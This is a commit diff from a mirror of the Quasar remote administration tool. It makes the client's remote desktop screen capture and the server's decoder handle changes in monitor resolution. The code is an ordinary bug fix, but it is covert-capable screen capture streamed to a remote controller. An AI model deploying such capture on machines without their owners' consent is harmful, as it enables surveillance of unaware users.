mirror of https://github.com/quasar/Quasar.git
Fixed #292
This commit is contained in:
parent
a6b15afdbb
commit
4e1678b633
|
@ -26,15 +26,18 @@ public static void HandleGetDesktop(Packets.ServerPackets.GetDesktop command, Cl
|
|||
|
||||
IsStreamingDesktop = true;
|
||||
|
||||
if (StreamCodec == null)
|
||||
StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor);
|
||||
var resolution = FormatHelper.FormatScreenResolution(RemoteDesktopHelper.GetBounds(command.Monitor));
|
||||
|
||||
if (StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor)
|
||||
if (StreamCodec == null)
|
||||
StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution);
|
||||
|
||||
if (StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor
|
||||
|| StreamCodec.Resolution != resolution)
|
||||
{
|
||||
if (StreamCodec != null)
|
||||
StreamCodec.Dispose();
|
||||
|
||||
StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor);
|
||||
StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution);
|
||||
}
|
||||
|
||||
new Thread(() =>
|
||||
|
@ -46,6 +49,15 @@ public static void HandleGetDesktop(Packets.ServerPackets.GetDesktop command, Cl
|
|||
IsStreamingDesktop = false;
|
||||
return;
|
||||
}
|
||||
|
||||
// check screen resolution while streaming remote desktop
|
||||
resolution = FormatHelper.FormatScreenResolution(RemoteDesktopHelper.GetBounds(command.Monitor));
|
||||
if (StreamCodec != null && StreamCodec.Resolution != resolution)
|
||||
{
|
||||
StreamCodec.Dispose();
|
||||
StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution);
|
||||
}
|
||||
|
||||
BitmapData desktopData = null;
|
||||
Bitmap desktop = null;
|
||||
try
|
||||
|
@ -62,13 +74,14 @@ public static void HandleGetDesktop(Packets.ServerPackets.GetDesktop command, Cl
|
|||
new Size(desktop.Width, desktop.Height),
|
||||
desktop.PixelFormat, stream);
|
||||
new Packets.ClientPackets.GetDesktopResponse(stream.ToArray(), StreamCodec.ImageQuality,
|
||||
StreamCodec.Monitor).Execute(client);
|
||||
StreamCodec.Monitor, StreamCodec.Resolution).Execute(client);
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
if (StreamCodec != null)
|
||||
new Packets.ClientPackets.GetDesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor).Execute(client);
|
||||
new Packets.ClientPackets.GetDesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor,
|
||||
StreamCodec.Resolution).Execute(client);
|
||||
|
||||
StreamCodec = null;
|
||||
}
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
using System.IO;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace xClient.Core.Helper
|
||||
|
@ -26,5 +27,10 @@ public static string DriveTypeName(DriveType type)
|
|||
return type.ToString();
|
||||
}
|
||||
}
|
||||
|
||||
public static string FormatScreenResolution(Rectangle resolution)
|
||||
{
|
||||
return string.Format("{0}x{1}", resolution.Width, resolution.Height);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -8,7 +8,7 @@ public static class RemoteDesktopHelper
|
|||
{
|
||||
public static Bitmap GetDesktop(int screenNumber)
|
||||
{
|
||||
var bounds = Screen.AllScreens[screenNumber].Bounds;
|
||||
var bounds = GetBounds(screenNumber);
|
||||
var screenshot = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb);
|
||||
using (Graphics graph = Graphics.FromImage(screenshot))
|
||||
{
|
||||
|
@ -16,5 +16,10 @@ public static Bitmap GetDesktop(int screenNumber)
|
|||
return screenshot;
|
||||
}
|
||||
}
|
||||
|
||||
public static Rectangle GetBounds(int screenNumber)
|
||||
{
|
||||
return Screen.AllScreens[screenNumber].Bounds;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -15,15 +15,19 @@ public class GetDesktopResponse : IPacket
|
|||
[ProtoMember(3)]
|
||||
public int Monitor { get; set; }
|
||||
|
||||
[ProtoMember(4)]
|
||||
public string Resolution { get; set; }
|
||||
|
||||
public GetDesktopResponse()
|
||||
{
|
||||
}
|
||||
|
||||
public GetDesktopResponse(byte[] image, int quality, int monitor)
|
||||
public GetDesktopResponse(byte[] image, int quality, int monitor, string resolution)
|
||||
{
|
||||
this.Image = image;
|
||||
this.Quality = quality;
|
||||
this.Monitor = monitor;
|
||||
this.Resolution = resolution;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
|
|
|
@ -10,6 +10,7 @@ namespace xClient.Core.Utilities
|
|||
public class UnsafeStreamCodec : IDisposable
|
||||
{
|
||||
public int Monitor { get; private set; }
|
||||
public string Resolution { get; private set; }
|
||||
public Size CheckBlock { get; private set; }
|
||||
public int ImageQuality
|
||||
{
|
||||
|
@ -44,10 +45,12 @@ private set
|
|||
/// </summary>
|
||||
/// <param name="imageQuality">The quality to use between 0-100.</param>
|
||||
/// <param name="monitor">The monitor used for the images.</param>
|
||||
public UnsafeStreamCodec(int imageQuality, int monitor)
|
||||
/// <param name="resolution">The resolution of the monitor.</param>
|
||||
public UnsafeStreamCodec(int imageQuality, int monitor, string resolution)
|
||||
{
|
||||
this.ImageQuality = imageQuality;
|
||||
this.Monitor = monitor;
|
||||
this.Resolution = resolution;
|
||||
this.CheckBlock = new Size(50, 1);
|
||||
}
|
||||
|
||||
|
|
|
@ -21,14 +21,15 @@ public static void HandleGetDesktopResponse(Client client, GetDesktopResponse pa
|
|||
}
|
||||
|
||||
if (client.Value.StreamCodec == null)
|
||||
client.Value.StreamCodec = new UnsafeStreamCodec(packet.Quality, packet.Monitor);
|
||||
client.Value.StreamCodec = new UnsafeStreamCodec(packet.Quality, packet.Monitor, packet.Resolution);
|
||||
|
||||
if (client.Value.StreamCodec.ImageQuality != packet.Quality || client.Value.StreamCodec.Monitor != packet.Monitor)
|
||||
if (client.Value.StreamCodec.ImageQuality != packet.Quality || client.Value.StreamCodec.Monitor != packet.Monitor
|
||||
|| client.Value.StreamCodec.Resolution != packet.Resolution)
|
||||
{
|
||||
if (client.Value.StreamCodec != null)
|
||||
client.Value.StreamCodec.Dispose();
|
||||
|
||||
client.Value.StreamCodec = new UnsafeStreamCodec(packet.Quality, packet.Monitor);
|
||||
client.Value.StreamCodec = new UnsafeStreamCodec(packet.Quality, packet.Monitor, packet.Resolution);
|
||||
}
|
||||
|
||||
using (MemoryStream ms = new MemoryStream(packet.Image))
|
||||
|
|
|
@ -15,15 +15,19 @@ public class GetDesktopResponse : IPacket
|
|||
[ProtoMember(3)]
|
||||
public int Monitor { get; set; }
|
||||
|
||||
[ProtoMember(4)]
|
||||
public string Resolution { get; set; }
|
||||
|
||||
public GetDesktopResponse()
|
||||
{
|
||||
}
|
||||
|
||||
public GetDesktopResponse(byte[] image, int quality, int monitor)
|
||||
public GetDesktopResponse(byte[] image, int quality, int monitor, string resolution)
|
||||
{
|
||||
this.Image = image;
|
||||
this.Quality = quality;
|
||||
this.Monitor = monitor;
|
||||
this.Resolution = resolution;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
|
|
|
@ -10,6 +10,7 @@ namespace xServer.Core.Utilities
|
|||
public class UnsafeStreamCodec : IDisposable
|
||||
{
|
||||
public int Monitor { get; private set; }
|
||||
public string Resolution { get; private set; }
|
||||
public Size CheckBlock { get; private set; }
|
||||
public int ImageQuality
|
||||
{
|
||||
|
@ -44,10 +45,12 @@ private set
|
|||
/// </summary>
|
||||
/// <param name="imageQuality">The quality to use between 0-100.</param>
|
||||
/// <param name="monitor">The monitor used for the images.</param>
|
||||
public UnsafeStreamCodec(int imageQuality, int monitor)
|
||||
/// <param name="resolution">The resolution of the monitor.</param>
|
||||
public UnsafeStreamCodec(int imageQuality, int monitor, string resolution)
|
||||
{
|
||||
this.ImageQuality = imageQuality;
|
||||
this.Monitor = monitor;
|
||||
this.Resolution = resolution;
|
||||
this.CheckBlock = new Size(50, 1);
|
||||
}
|
||||
|
||||
|
|
Loading…
Reference in New Issue